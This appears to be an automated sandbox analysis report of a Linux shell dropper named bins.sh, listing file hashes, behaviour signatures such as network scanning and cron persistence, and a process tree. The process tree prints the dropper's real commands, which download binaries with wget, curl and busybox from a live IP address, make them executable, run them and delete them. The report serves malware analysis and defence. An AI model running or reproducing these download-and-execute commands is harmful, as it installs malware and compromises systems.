Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 08:28

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ac492d233d3526f64c5fd40d078150d1

  • SHA1

    6bb76a3db6c7c0d1711831fd8cbfe340a2c264ac

  • SHA256

    ee0ec26cc22e6c1c1a4c831a96684803d3ca076d715b02a46538b09172d6434a

  • SHA512

    b880791ffb529ff5a462b895b1b64aa52560533290a324362c6ab83a2354fa3d3d667288de875ba988aaabbb5070c462a2926c72178116d943dd60d6c89d6c31

  • SSDEEP

    96:ufMqhpoH7+JbInctVkhpoH7Izj6JVUf39t0jsr5:ufMMJb0c3u1

Malware Config

Signatures

  • Contacts a large (2048) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1476
        • /usr/bin/wget
          wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:1477
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:1492
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:1501
        • /bin/chmod
          chmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • File and Directory Permissions Modification
          PID:1502
        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          ./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Executes dropped EXE
          PID:1503
        • /bin/rm
          rm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
            PID:1505
          • /usr/bin/wget
            wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /bin/chmod
            chmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • File and Directory Permissions Modification
            PID:1509
          • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            ./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Executes dropped EXE
            PID:1510
          • /bin/rm
            rm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
              PID:1512
            • /usr/bin/wget
              wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /bin/chmod
              chmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • File and Directory Permissions Modification
              PID:1516
            • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              ./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Executes dropped EXE
              PID:1517
            • /bin/rm
              rm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
                PID:1519
              • /usr/bin/wget
                wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:1521
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /bin/chmod
                chmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • File and Directory Permissions Modification
                PID:1523
              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                ./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Executes dropped EXE
                PID:1524
              • /bin/rm
                rm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                  PID:1526
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Writes file to tmp directory
                  PID:1528
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Writes file to tmp directory
                  PID:1529
                • /bin/chmod
                  chmod 777 EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1530
                • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  ./EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Executes dropped EXE
                  PID:1531
                • /bin/rm
                  rm EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                    PID:1533
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                    2⤵
                    • Writes file to tmp directory
                    PID:1534
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                    2⤵
                    • Writes file to tmp directory
                    PID:1535
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                    2⤵
                    • Writes file to tmp directory
                    PID:1536
                  • /bin/chmod
                    chmod 777 xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1537
                  • /tmp/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                    ./xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1538
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1540
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1541
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1542
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1543
                        • /bin/rm
                          rm xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                            PID:1545
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/GFQ1dybEfFm0uL9A3MDzDBPcrfJLLZiZdv
                            2⤵
                              PID:1548

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /var/spool/cron/crontabs/tmp.qJvocj

                            Filesize

                            210B

                            MD5

                            22ee531d1aac522e6b8691f803b21e55

                            SHA1

                            d6551e8dcf5fdb1c3c6b04ffedabda3ecd04ef21

                            SHA256

                            9818bd6c8f45082bf33900a0cc8eeb1783b97368895a1d43fdddf1261b799d8d

                            SHA512

                            665da997a26d1659ad13d26e3986a98de7625028c483faf79462cea5bc3575d40a7da0cbfb041cfb8b5bafc1fd5d925d9759119faad26f04f426c3fa0dac2562